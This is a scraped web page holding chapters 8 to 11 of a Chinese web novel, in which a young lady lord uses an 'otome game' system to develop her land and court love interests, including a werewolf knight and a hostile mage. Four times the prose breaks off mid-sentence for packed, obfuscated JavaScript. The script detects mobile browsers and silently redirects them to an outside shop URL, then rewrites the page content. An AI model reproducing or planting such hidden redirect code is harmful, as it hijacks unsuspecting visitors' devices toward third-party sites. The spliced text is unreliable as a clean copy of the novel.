d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055674|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小腿上,干涸后硬邦邦的,这又是另外一种粗粝的钝感,隔绝了她的皮肤对外界的一切感知。 玛丽不自觉抬起腿往前走。 她不认识路的时候,最起码可以跟着人一起走。 突然的饥饿感打断了玛丽的沉思,她意识到要尽快入睡了,要不然持续累积的胃部烧灼会让她整个晚上都不好受。 巴特这次来带了几枚银币,正好能去老汤姆那把上次借的钱还上,剩下的钱可以去集市买点面包,再煮一锅鱼汤,吃个饱。 玛丽这么想着,闭上了眼睛。 带着这种饥肠辘辘的感觉,她对明天有了那么一丁点隐隐的期待。 - “快起来!快起来!!!” 巴特感觉地面一阵震颤,他还以为在梦中。 恍惚中睁开眼,看到的是查理焦急的脸。 天还没亮,但窗外却透着银色的亮光,这让屋内像白昼一样明亮。 他朝窗户看去,发现是海光象在暴动。 这是一种多出没在近海的魔兽,昼伏夜出,攻击时会发出刺眼的光芒,照亮天际。 巴特小时候见过几次,在遥远的海平面闪着一簇簇银色的亮光,看起来十分漂亮。 但对于这些体型巨大的家伙来说,它们需要一定的深度来下潜和生活,一般不会来到这么靠近岸边的海域。 “是魔法师在围剿它们!”玛丽指了指半空中的两个光点,虽然看不见具体的情况,但这两人一直在朝海光象丢去一团团颜色各异的光团。 地面还在不断震颤,查理在屋内着急地来回踱步:“不行,我必须要亲自过去看看。” 巴特一把抓住哥哥的手臂:“你疯了?” “他们在码头!你看见了吗,他们在码头打架!我的船、我的所有,我的一切都在那里!” 查理几乎是咆哮着说出最后的话。 巴特怔怔地松开了手。 但查理的身体却并没有动。 像是刚刚喷发过熔岩的火山,他的气一下子泄了,只不住地牙齿颤抖,喃喃自语道:“我得把船收了,我真的得过去,那些东西没了就全完了。” 玛丽感觉肚子里一阵烧灼,她分不清是饥饿还是什么别的,屋子仍在不断颤动,她撑着发软的腿,勉强站起来,扯着丈夫的衣袖,小声劝道:“等他们走了再说吧,查理,天亮了再说,等天亮了就好了。” “说不定运气好,他们不会砸到我们的船上,查理,坐下吧。” “等天亮再说。” 玛丽的手指轻轻用力拉扯,丈夫查理就顺从地坐在了她的旁边,像一尊空心石砖制作的人像,表面看起来坚硬结实,但实际上轻得连八九岁的孩子都能推倒。 外面仍然在轰隆隆作响,屋内却十分安静,没有人再说话,他们都在等待天亮,等待这一切结束。 又一道明亮的光兀得划破天际,伴随着巨物倒下的沉闷轰鸣,巴特看到自己的哥哥查理,正在黑暗中无声地流泪。 8. 第 8 章 托利亚领主府的书房里,艾米照例在处理今日的公务。 古德先生带来了一个坏消息,去泥巴湾采购新鲜海鱼的那个叫巴特的小子,是空着手回来的,他说有几个魔法师追着海光象来到了那里,所有的渔船都在打斗中变成了烂木板,短时间内,没有任何人能出海了。 除此之外,也因为这个,一些失去吃饭家伙的人,背着仅有的几块面包,来到了托利亚,想要谋条生路。 并不多,只有零星的十来个人而已,有几个是听巴特说这里不收税过来的,还有几个根本就是在林子里绕来绕去走错了路才到这里来的。 因为相较于土地出了名的贫瘠、也没什么东西吃的托利亚小镇,更多的人会选择沿着海岸线北上,去其他的渔村或港口讨生活。 他们祖祖辈辈都以海为生,除了捕鱼什么都不会做,就算逃难也不会朝内陆来。 十来个人倒是好安置,这里的荒地多得是,随便分几块给他们种田就行了。 不会种地的还可以去集市上找日结的力工活,毕竟刚得了一大笔钱的领主小姐减免了领地所有民居往后三年的赋税,只要有手有脚,流民们总能赚到吃饱饭的钱。 这条法令能够颁布全靠洛克公爵的慷慨解囊。 这位王国最有钱的男人,出手实在阔绰,在艾米将信寄出去的第二天,就送来了装满金币的魔法口袋。 五万枚金币,一枚也不少。 有了这笔钱,艾米终于不用抠抠搜搜地过日子了,她不仅把镇中心的广场、集市的街道全部换成崭新的石砖地面,也终于舍得把领主府漏雨的阁楼修好了,最后还顺便为雷尔夫挑选了新礼物——一只和止咬器使用同一块牛皮的黑色项圈,上面整齐地钉上了一圈黑色碎钻。 “谢谢您的礼物。”雷尔夫的表情依旧如常,嘴角微扬,看不出任何变化。 但好感度却又涨了两个点。 真是非常容易读懂的好狗狗。 除此之外,艾米还有两件不怎么要紧但十分重要的事情要处理。 手上有了一大笔钱后,最先需要考虑的是怎么把这笔钱花出去。在接待泥巴湾逃难的渔民时,艾米有了新的想法。 托利亚小镇土地的贫瘠是出了名的,北境人都叫这里砂砾之城,这里长出来的作物都带着土腥味,口感更是粗糙得像砂纸划过喉咙。就连在这里生活了十八年的艾米都难以适应。 整个小镇唯一有点奶香甜味的食物就只有苏珊家的南瓜,她的祖上似乎有极其稀薄的精灵血统,所以种出来的食物会自带一点品质的加成。 在这样一个连饭都吃不饱的地方,谈任何发展都是没有意义的。 但泥巴湾不一样。 泥巴湾本身就是渔村,可以出海捕鱼,更重要的是,它的海岸线有一大片滩涂,是发展海水养殖最好的地方。 当然,在哈尔男爵那些贵族们的眼中,泥巴湾是块没什么油水可榨,又十分肮脏泥泞的小渔村,但在艾米眼中,这是蒙了尘的金子。 眼下,恰恰好有这么个救风尘的机会就摆在自己面前—— 泥巴湾的渔民四处逃难,村里估计没几个人了,想要重新发展到之前的人口,至少还要三年,而就算是恢复之前的税收,哈尔男爵每年最多也就能收到一千五百枚金币,而如果自己愿意以每年两千枚金币的价格,“租”下他的领地,他一定十分愿意。 只是有这么几件事一定要注意,首先这份契约一定要找魔法师进行见证,确保自己的海水养殖产业发展起来后,哈尔男爵不会因为眼红收入而单方面撕毁条约。这个问题倒是很好解决,因为哈尔男爵久居永夜城,作为北境最大的城市,在那里找个高级魔法师倒是不难。 其次,她需要找到了解海水养殖的人才,以及对泥巴湾熟悉的本地人,来更具体地细化这项决议的可行性。后者很好办,厨房的那个叫巴特的小伙子就是泥巴湾出生的本地人,而这次逃来托利亚的流民,有几个还是他之前的家人,有巴特和他的家人作为中间人,一定能将这些从泥巴湾过来的人很好地利用上。 而前者就比较麻烦了,据艾米的了解,北境所有领地都没有有“海水养殖”的概念,这里的渔民使用的全是最传统的捕捞方式。可以说,如果系统不愿意给她天降一个人才,那艾米翻遍整个北境,也找不到这样的人。 艾米沉思。 艾米张口:“那个——” 系统打断:“这是乙女游戏,不是领主游戏,我没有帮你招募人才这种能力。” 好吧。 艾米闭嘴。 不过这也难不倒她。 艾米曾在《布佛里托:王国的宝石》一书中读过,在布佛里托发现曜石矿之后,这里很快成为王国所有魔法师和炼金术师的聚集地,因为他们能用比其他地方更便宜的价格买到更高品质的曜石。时间久了,很快有人发现了其中的商机,他们用没有魔法效用的黑宝石来仿制黑曜石,对于一些能不足的炼金术师和低阶魔法师来说,根本看不出差别,于是频频中招。 炼金术师们立刻发明了黑曜石快速检测器,这套行骗方法自然也难以继续。不过有些脑子转得快的商人突然意识到,还可以卖给没有能力分辨的普通人,用含糊其词的“你懂的,那种黑石头,内部价,超便宜”来骗那些外地来的,想买个纪念品的普通人。反正他们可能一辈子也不知道这是黑曜石还是普通的黑宝石,就算知道了,也不可能千里迢迢回来找茬。 同时为了配合他们的喜好,摊贩们除了伪装成黑曜石的黑宝石外,还会售卖一些普通的宝石。反正就是图个漂亮,他们并不像魔法师们那么在意效用。 至此,布佛里托的宝石之城的名号便逐渐散布至王国的每块领地。 这段历史还没完。 越来越多的人涌向了布佛里托,越来越多的宝石种类出现在了这里,贵族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055675|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐们在这里大肆采购,将自己从头到脚都装点起来。 却唯独有一样东西没有——珍珠。 商人们就算错过自己父亲的葬礼也不会错过这种商机。 他们很快发现,并不是只有王城附近的河间谷地能产珍珠,温暖的海边也可以,而布佛里托的领土恰好涵盖了一条漫长的海岸线。 和河间谷地的那种个体家庭式的采珠人不同,布佛里托的大商人们一旦发现商机,就会像饿狼狠狠咬住猎物的腰腹,不见血肉不松口的那种。他们对小打小闹不感兴趣,而是从矿工中招募了一批苦力,在海边圈住一大片四方齐整的浅滩,开始尝试养殖这种晶莹剔透的小玩意儿。 产量大,货源足,品质好的海水珍珠在宝石之城刚一面世,立刻成为王国贵族们争先抢购的商品。财富就像海水带来的泥沙一样,尽情地汇聚堆积于此,金光璀璨,映照着每双贪婪的眼睛。 总而言之,尽管北境的严寒无法养殖这种对温度极高的珍珠,但那里应当会有艾米想要的人才。 更巧的是,自己的便宜未婚夫,正好是布佛里托的大领主。 干脆写封信问问。 艾米现在已经把他当成一个慷慨大方的npc,有事没事就想戳一下他试试能不能爆出金币——反正来都来了,顺带手的事。 她在信中隐去了自己想要发展海水养殖的想法,只说她喜欢圆润饱满的珍珠,听说南境的珍珠极为有名,能不能介绍几个大商人给她认识认识。 第一件事算是这么安排下去了,第二件事重新摆在了艾米的案头。 这是一封从王城寄来的关于春季社交舞会的邀请函。 对于刚绑定了这么个乙女系统的艾米来说,到现在还只解锁了一位男主有点进度太慢了,她迫切地需要认识更多的男人,来提升领地的属性。 而守在托利亚小镇这么个鸟都不拉屎的地方,估计很难解锁更多的“可攻略对象”。别说艾米的那位未婚夫洛克公爵都不愿过来屈尊做客,就连隔壁的哈尔男爵也只肯在永夜城待着,唯恐这里的泥巴甩起来弄脏了他的皮靴。 因此,这场几乎汇集了王国所有单身未婚男青年的社交舞会,是攻略男主们的绝佳机会,她一定得参加。 问题是,要怎么去。 从托利亚小镇出发,穿过魔兽山脉,沿着神圣大道去到王城,差不多要大半个月的时间。 且不说一路舟车劳顿,就单是前几天那场突如其来的刺杀还没抓到幕后之人,为了自己的生命安全,艾米也不敢在野外停留这么久。 另外一种方式是通过传送法阵前往,离这里最近的传送法阵,是永夜城的那个。 艾米只需要花上三五天的路程,去往永夜城,就可以使用传送法阵去王城。 方便快捷。 总之,无论是见哈尔男爵,还是去王城参加社交舞会。 她都必须要先去永夜城。 9. 第 9 章 在决定要出远门之后,艾米恨不得一天将二十个小时都投进工作之中。 首要的是自己离开后各日常事务的安排,这还是艾米第一次离开托利亚这么久,算上往返,她要有将近两个月不在家,领主府内务一概交由古德先生打理,而小镇的治安则由兰斯看顾。 其次,便是要为接管泥巴湾做好准备。 寄给洛克公爵询问珍珠商人的信很快收到了回应。不过,公爵大人大概是以为艾米刚得了一大笔钱,正觉得无处挥霍所以才想到买珍珠,所以他很是妥帖地随信送来了一套精美的宝石首饰,大颗的黑曜石外镶嵌一圈精致的金累丝边,在阳光下,每一个切面都闪耀明亮,就算是再不识货的人也能看出它的名贵。 公爵大人还在信里暗示道,如果未婚妻小姐想要漂亮的宝石,尽管朝他开口,但最好不要自己随便在永夜城乱买,那里全是假货。 艾米正愁参加王城春季社交舞会没有合适的首饰,这位未婚夫就送来了漂亮的宝石项链和在灯光下璀璨闪耀的钻石耳钉。不愧是父亲严选的结婚对象,在扮演得体的未婚夫这件事上,洛克公爵确实做得很好。 在给珍珠商人的信里,艾米又为自己塑造了一个“没什么头脑又贪婪的贫穷贵族小姐”的人设,她在信中写道,听说南境能够在海边“种出珍珠”来,她很好奇,北境也有海,为什么不能像南境一样长出珍珠来呢? 在南境珍珠商看来,这是不谙世事的贵族小姐无知的幼稚想法,他们会不以为然,但又不得不象征性地派人过来陪大小姐过家家。 这就够了。 艾米暂时不想让太多人知道她的计划。等人过来,留在自己的领地上,一切再议。 除此之外,如果要“租”下泥巴湾,她也需要更了解这块土地的情况。 大体来说,她需要观察泥巴湾的情况,弄清楚哪些人是当地的恶霸,哪些人是难应付的刺头,以及哪些人是男爵在渔村的代理人,是这片土地的实际管事。在这个过程中,她会逐渐地把自己人替换过去。 太过仓促的并入自己的管理只会掩盖矛盾,那些没踩死的虫子在铺盖的遮掩下会越生越多,不仅令人作呕,还可能咬坏本来没犯虫害的好苗。 艾米需要一点点把烂泥地清理干净。她有足够的耐心来做这件事,但也需要得力的下属。 首当其冲进入她视线的就是那个叫巴特的小伙子。和小镇的大部分年轻人一样,他没读过书,只认得几个简单的数字和单词,从十来岁就开始工作养活自己,尽管只有十八九岁,却做事机敏灵巧,连莫里大婶都夸过他,是厨房的年轻人里最聪明的那个。 艾米看好他,不单因为他是从泥巴湾来、这次还带了兄嫂一家来托利亚小镇。更重要的是,巴特掌管领主府的海鱼采购足足两年,不曾有任何中饱私囊、或是和兄嫂合议以次充好的行为。 这说明他的品行不错,同时,他的家人也都是善良正直的人。 歹竹出好笋的情况不是没有,但涉及到需要和人交往、有利益往来的岗位,还是稳妥些更好。 艾米决定把他从厨房调出来,放到古德先生手下做事看看能力,除此之外,艾米还叮嘱他学习识字和算数,至少在她回托利亚之前,能完成基础的读写。 看来,等到吃饱的问题能解决后,小镇居民的扫盲还是要提上日程。 堪堪处理完这些琐碎却重要的事情后,艾米不由地叹了口气——她想做的太多,而时间太少。 “明媚的阳光,初春的嫩叶,多么好的天气。”系统没有起伏的声音里似乎透着有气无力:“你现在的当务之急是抓紧时间去谈恋爱。” “春天到了啊——说到这个,你提醒我了。”领主小姐匆匆翻出案头的一本册子:“今年的农业得再加三倍预算,为下半年的人口流入提前做准备才行。” 系统破防了:“谈恋爱,谈恋爱,谈恋爱你有没有听见?” 艾米有一搭没一搭地回应:“别着急啊,我不是马上就要出门去找男人谈恋爱了么?” “我就知道。你到现在还没发现自己解锁了羁绊值和商城了吧?” “嗯?”艾米终于放下羽毛笔,打开了那面整整三天都没动过的系统面板,并在首页看到了关于解锁商城信息的大大弹窗。 她的手指悬在半空,没有按下去,一脸狐疑地问道:“不会是要我氪金的东西吧?” “我们没有氪金点!不收你的钱!你点开看一下又不会扣你的金币!我就没见过你这么抠门的宿主。”系统咬牙切齿地说:“再说了,如果我没记错的话,你刚找你的未婚夫要了五万金币!” “那可不一样,我的钱我还有用。” 在得到确认后,艾米才终于点开了新解锁的商城面板,在查看商品之前,先点开了右上角用于支付的代币。 是淡蓝色的五芒星形状,其中每个角闪着银色的光。 “羁绊值?” 她发现自己不知道什么时候已经有了35点的余额,并顺着下方的指引点进了获取途径的页面。 【赠送礼物、约会、肢体接触等恋爱日常活动均可获得羁绊值。】 【羁绊值可用于商城购物。】 也就是说,自己之前送雷尔夫的止咬器和项圈,很可能算进了礼物中;而月圆之夜的独处,应当也被判定为了约会,增加了羁绊值。 看来攻略男主不能只刷好感度,日常也要多互动,来赚取羁绊值才行。 艾米重新返回商城,重新浏览起货架,从图片来看,就是不同颜色的药水和药丸,配着一些似是而非的名字,什么【且听心吟】、【繁星汲梦】、【溯溪之旅】、【灵魂锚点】等等。 莫名其妙。 她皱了皱眉头,点进道具描述,才终于看到更多信息。 【且听心吟】 在嘈杂纷乱的世界中,只有我能听见你心底的声音。 功能:使用后可选定一名对象,倾听他的心声。 时效:24h 备注:仅可在自己或可攻略对象身上使用,一名对象仅可使用一次。 【繁星汲梦】 星空无垠,万千闪耀不及你梦中的璀璨。 功能:使用后可选定一名对象,进入他的梦境。 使用次数:一次 备注:仅可在自己或可攻略对象身上使用,一名对象仅可使用一次。 【溯溪之旅】 总有人愿意为你逆流而上,寻找最初的宝藏。 功能:使用后可选定一名对象,回溯到他的过去。 使用次数:一次 备注:仅可在自己或可攻略对象身上使用,一名对象仅可使用一次。 【灵魂锚点】 透过皮囊,你的灵魂独一无二。 功能:使用后可选定一名对象,和他交换灵魂。 使用时效:24h 备注:仅可在自己或可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055676|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攻略对象身上使用,一名对象仅可使用一次。 “这个备注....意思是我只能用在攻略对象身上?”艾米的眉头不解,很是不满:“我还以为是像约会卡的技能一样,可以随便用在谁的身上呢。” “这是恋爱游戏!”系统再次强调。 “好吧。不过这定价也太贵了。一瓶药水只能用一次,居然要300点羁绊值,什么时候能攒够啊。” “所以你要多和男主见面约会谈恋爱,而不是在书房里一整天都不出门!” “那刚解锁的时候你也没提醒我,要不然我这几天一定抽空去和雷尔夫散步,每天都给他送礼物刷羁绊值。” “解锁的时候你在和巴特谈话,我刚发出声音就被你骂了一顿!” 艾米摸了摸鼻子掩饰尴尬:“知道了知道了,小声点,你有时候是声音太大了,吵得我脑仁疼。” “总之,我一定会好好谈恋爱的,你放心吧。” 她信誓旦旦地承诺。 - 领主小姐说到做到,为了验证哪些行为能提高羁绊值,她甚至在旅途中舍弃了更舒服的马车,骑马和雷尔夫同行,还因此解锁了B级约会卡【旅伴】。 也就是这时候她才知道,原来只有S和A卡有技能,B级卡只能用来收藏填满图鉴。 收藏有什么用啊——话虽如此,但卡面上雷尔夫起伏的胸肌轮廓被衬衣包裹,大腿夹紧马肚的动态画面确实让她心脏漏了半拍——算了,她得承认,不愧是恋爱游戏,审美实在没话说。 回到无聊又有点漫长的旅程中,艾米除了找雷尔夫闲聊外也并没有什么别的娱乐项目,似乎自从月圆之夜后,自己就很少和他单独在一起这么久。 但即便如此,雷尔夫的好感度仍然牢牢地固定在80,不因受到冷落而有分毫动摇。 同时,她后知后觉地意识到,自己对他似乎知之甚少,上次的谈话被突然出现的刺客打断,而之后,自己也并没有主动想要去了解这个一出场就高达68好感度的男人。 这让艾米产生了一点微不可见的愧疚之意。 她抓着缰绳,状似无意地问道:“我记得你说过你在永夜城长大,那么,一定对那里很熟悉了?” 青年驾驭着马匹以恰当的步调跟随着身侧的少女:“距离我上次离开那里,已经有很多年了。但我想那座城市应当没什么变化,如您所说,我在那里长大,对城市里的每一条巷道都算熟悉。” “你这次回去,可以去探望你的家人。”艾米提议道:“你离开永夜城这么久,他们一定很想念你。” 雷尔夫的表情停滞了片刻。 艾米感觉自己似乎说错了什么,她想起一些前世玩乙游的回忆,似乎这些男主们很难父母双全,整个游戏凑不齐一对完整的爹娘。该不会雷尔夫也有过这样那样的悲惨童年,那自己岂不是平白无故地揭了人家的伤疤还顺手撒了把盐? 她赶紧看了一眼好感度,还好,还是80,没有变化。 “我并不想欺骗您。”青年沉默后缓缓张口,用他那一贯的低沉平稳的音色说着令人瞠目结舌的话:“永夜城的纳维公爵是我的父亲,我是他的私生子。” 看到艾米瞪得浑圆的眼睛,他的表情露出几分温和,嘴角噙住淡淡的笑意:“不过,纳维公爵有几十甚至上百个私生子,恐怕根本记不清每一个是谁。” “我现在只属于您。” “我的领主大人。” 10. 第 10 章 在去往永夜城的路途中,艾米拼凑起了雷尔夫前二十年的人生。 “纳维公爵那样的人,也会生出你这样的儿子。”她忍不住感慨道。 “我可以将此理解为是您的夸赞么?”雷尔夫挺拔的身姿微微压低,行了一个可以称得上赏心悦目的礼节:“这要多谢我的老师。” 他所说的是他年少时的剑术老师,一个有点古怪的老头,在无意间遇到雷尔夫后,几乎是强买强卖地要将自己的剑术教给他。 “老师说我很有天赋。”面对这一事实,他并不过分自谦,而是坦然地承认:“我确实有。在公爵大人的那些儿子里,没有人打得过我。” “我是私生子,并没有继承权。当然,我也从未有过这样的想法,公爵大人留下我,只为了将我培养成忠于家族的骑士。” “只是可惜,我的哥哥们不这么想。” “所以...”艾米猜到了后面的发展,犹豫着说出自己的猜测:“你才会出现那样的意外。” “也许吧。”雷尔夫语气轻松:“如果那天我的剑还在身上的话,那只狼人不会活着走出森林,它在露出牙齿之前就会先被我砍下脑袋。” “但我的剑被拿走了,我也因此成了同样的怪物。” 艾米又想起自己第一次见到他的场景。 脏兮兮打结的尾巴,被血污染成深褐色的头发,单薄的瘦弱的身体,还有那双充满戒备的漆黑眼睛。 可怜的小狗。 她的心立刻软了下来,连带着声音都软了几分:“你恨那些人吗?” “恨?”雷尔夫摇了摇头:“我很感激他们,我变成了怪物,也得以离开了那个家族。” 他侧过头,灰白的短发随着风飘动,遮住高挺的眉骨和下方的眼眶,让艾米有些看不清他眼神中的含义。 “因为成为了您的侍从,所以我很感激他们。” 雷尔夫的喉间发出低沉的轻笑:“作为报答,如果有一天我的哥哥们死在我的手里,我会用更干净利落的方式送他们上路。” 风拂开青年额前的碎发,彻底露出属于成年男性的立体五官,在阳光的勾勒下显出了更像野兽的凌厉气质。 ...他之前在南境做过雇佣兵。 他的手里有过很多人命。 艾米缓缓地将这个已知的事实和面前的男人关联在一起。 她不是没见过雷尔夫杀人。 刺杀者的尸体送到她眼前的时候几乎只剩骨架上的一点可怜碎肉。 月圆之夜时,雷尔夫当着她的面变成了彻头彻尾的狼人。 但艾米仍然从未觉得他是危险的。 他给自己的感觉就像毛发柔软的大型犬,尽管有着尖利的牙,却总是温顺地将脑袋贴紧自己的手心。 以至于艾米都几乎忘记了他是极有天赋的捕猎者这件事。 似是看出少女的微怔,雷尔夫弯了弯唇角,眉眼舒展,重新回到他一贯的温和状态之中:“当然,您现在是我的主人。我的剑只会遵从您的意志出鞘。” 艾米再度扫向他的身侧。 那是把几乎没有任何装饰、最普通、最随处可见的银剑。 虽说雷尔夫的身姿和英俊的外表即便是带着一把最简单的银剑也足够赏心悦目,但艾米总觉得似乎哪里不够。 也许有机会,自己应当寻一把更好的剑送给他。 不止如此,他还应当配上好看的镶嵌宝石的漂亮剑鞘,系上剑穗,印上徽纹。 就像打上自己的烙印。 艾米垂下的眼睫颤了颤。 想到这些,她心情变得很好。 “我也很感谢你的老师。”艾米眼睛含笑,扬起面庞,语气轻快:“送了我一把这么好用的剑。” - 进入永夜城后,艾米首先要去拜见纳维公爵。 和自己这种没什么传承、半路受封的穷酸贵族不同,公爵大人来自于统治北境数百年的别斯霍拉家族,作为别斯霍拉家族的家主,他理所应当地在家族最古老的黑岩堡生活。 艾米小时候陪父亲去过两次,还记得第一次踏进这座宏伟的建筑时,迎面而来的温暖让骨头缝都发颤的她瞬间感受到通体的舒适。 后来她在书房读到了一本关于大陆各个家族城堡建筑的书籍,里面曾经提到过,在别斯霍夫家族的黑岩堡里,所有的地面和墙壁都镌刻了加热和保温的符文,地板之下还铺设了整层的黑曜石用来保暖。 据说纳维公爵养了足足五个火系魔法师,专门用来确保城堡保持一个合适舒适的温度。 结合艾米所了解的、豢养魔法师的价格,稍微一算,就能估出一个巨大的数字。 ——是个即使艾米刚从未婚夫那薅了五万金币的羊毛,也不敢奢侈这么一把的数字。 再想到自己在托利亚的那个阁楼漏雨的破烂领主府,艾米就忍不住嫉妒。 其实她不是没想到重新装修改建一下领主府,在地板下铺设管道,然后用热水通过管道来实现房屋的加热,这种方式不需要太多的技术含量就能实现。 但是燃料实在太过昂贵了。 这个世界的人使用木材作为燃料,想要这样持续不断的供应热水,成本太高。 艾米也是穿越到这个世界时才意识到,现代生活中几乎唾手可及的、最基础的资源,在这样一个半蛮荒的大陆,也是极为珍贵的东西。 于是她冬天就只能靠多裹毯子来御寒,不仅行动不便,在需要处理工作或想要阅读写字时,手指还常常因为寒冷而僵硬。 哪里能像现在这么舒服。 艾米进门后就已经脱下厚重的熊毛大氅,此刻正坐在前厅,捧着一杯加了两块巧克力的热牛奶,争分夺秒地享受着这份昂贵的温暖。 纳维公爵不会亲自接见自己这种小领主,最多派学士或某个儿子打发一下,这个过程一般不会太久,毕竟自己这次只是路过永夜城用一下传送阵,不是专门为公务而来。 可一直等到她喝完牛奶,等到融化的可可在杯壁上凝固,也没见到任何人过来。 不仅如此,路过前厅的侍从和女仆似乎一个个都神情肃穆,步伐匆匆,像是有什么要紧的事情一直悬在他们的头上。 艾米随机抓了个人来询问,却得到了一个令她惊讶的消息。 纳维公爵病倒了。 和自己父亲那种缠绵床榻数年的病弱体质不同,纳维公爵的身体一向很好,他如今也不过五十多岁,也并未到垂暮的年纪,怎么会突然倒下呢? 在细细询问之下她才知道,纳维公爵已经病了有大半年之久,而最近不知怎了,他的病情突然发展迅猛,来势汹汹,甚至到了口齿不清、意识模糊的程度。 艾米表面维持着甜美优雅的微笑,心底却暗呼不好。 她光是从女仆的只言片语里,就能嗅到一股兄弟阋墙家族争斗宫廷政治的阴谋味。 大事不妙,赶紧撤退。 然后在永夜城的下一任主人出现之前,最好再也不要踏进黑岩堡一步。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055677|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她不仅对别人的“家事”没有兴趣,更是唯恐粘上一丁点关于权力争斗溅起的血点。 “既然如此——”艾米缓缓起身,拿起进屋后摘下放在桌上的手套,温和地说道:“我就不再打扰公爵大人的修养了。” 女仆取来她的外衣,细心地为她系好束带,再心急的客人也只能耐心等到这套流程结束。 【附近100米出现可攻略对象】 【请宿主尽快前往开启攻略】 提示音的出现让刚刚穿戴好的艾米将要迈出的脚步为之一滞。 她一边微笑向仆从点头示意,一边咬牙切齿地在心底暗骂: “在这个关头弹出提醒,你是非要我卷进别斯霍拉家族的继承人之争吧?” 系统自然又是习惯性的装傻。 它不想回复的时候,无论怎么叫都是没声音的。 艾米只好自己在心底快速囫囵过了一遍当下的情况。 纳维公爵喜欢的儿子不多,因此能住在黑岩堡的一共只有三个,而这三个她都见过,两个年长些的都已成家,而最小的那个叫迪特克的又长得丑,怎么都不太可能是可攻略对象。 如此说来,更有可能的是来黑岩堡做客的客人。 思绪未定,前厅的门恰好在此刻推开。 无需姗姗来迟的弹窗提醒,艾米已经知道面前人的身份。 顶着这么漂亮的一张脸,没人会怀疑他不是男主。 尤其是那双湖绿色的眸子,只是对视了片刻,就让艾米产生一种微微的眩晕,想要溺于其中,再也不想醒来。 “布利斯少爷。”身边的女仆嗓音发颤,粉色浮上脸颊,想来也是有同样的体验。 这位布利斯少爷冷着一张脸,目光轻扫屋内众人,并没有要开口的意思。 倒是他身边的男仆赔着一张笑脸,弯腰向艾米行礼:“小姐。” 小女仆像是才反应过来,红着脸小声介绍道:“这位布利斯少爷是迪克特少爷从王城请来的大魔导师。” 居然是这么年轻的大魔导师! 她还以为大魔导师都是老头呢。 艾米收起刹那间的惊讶,弯起嘴角,展现出礼节性的微笑,主动上前:“我叫艾米·索莱,是托利亚的领主。” 她伸出手,按照贵族间的礼仪,第一次见面的布利斯应当会亲吻她的手背以示尊重。 一旁的男仆突然变十分慌张,他看看自己家少爷,又看看面前的艾米小姐,脸拧巴成一团。 “尊贵的艾米小姐——”他刚起了话头,却紧接着看见让他惊掉下巴的一幕。 布利斯少爷冷着脸虚握住艾米小姐的右手,俯身轻轻落下一个礼节性的吻。 “少少少少爷——” 布利斯丢过一记冷冰冰的眼刀,男仆缩了缩脑袋,大气也不敢出。 艾米看着这对奇怪的主仆,更是丈二和尚摸不着头脑。 很明显,这位布利斯少爷并没有想要说更多话的意思,在完成几乎看起来酷刑一般的基本社交礼仪后,他径直穿过前厅,只余下一股极淡的薄荷清香。 艾米现在才有空翻看他的角色卡片。 虽然小少爷一直冷着脸,但....这让他看起来更诱人了。 也不知道攻略他后能获得什么加成。 艾米美滋滋地想。 ...等等,不对。 她反复确认屏幕上的数字,试图想从中戳出什么隐藏信息。 “好感度...-50?” 11. 第 11 章 【布利斯】 【种族:??】 【好感度:-50】 【技能:农业】 lv1:丰收 好感度达到60后,领地内农业产出增加100% lv2:肥沃 好感度达到70后,有30%的概率种出更美味的优质农作物。 lv3:良田 好感度达到80后,领地内农业产出增加200%,且种出优质作物的概率增加至60%。 lv4:魔力 好感度达到90后,无论什么种子,都能在您的土地上成长。 lv5:尚未解锁 布利斯少爷的技能居然是农业。 他那张精致漂亮的脸看起来和种地这件事没有任何关系。 但是管他呢,这可是农业加成! 俗话说民以食为天,更何况艾米的灵魂里可是流淌着种地民族的血脉,这个男人,她势必要拿下。 有什么事情比让大家吃饱饭更重要呢?就算是个河童,她都要捏着鼻子硬上了。 只是——这个-50的好感度到底是怎么回事? 如果是在rpg游戏里,布利斯少爷头顶的名字都要变成红色的,路上遇见自己的下一秒就会掏出魔杖放杀招了。 艾米绞尽脑汁也想不到自己和他有什么过节。 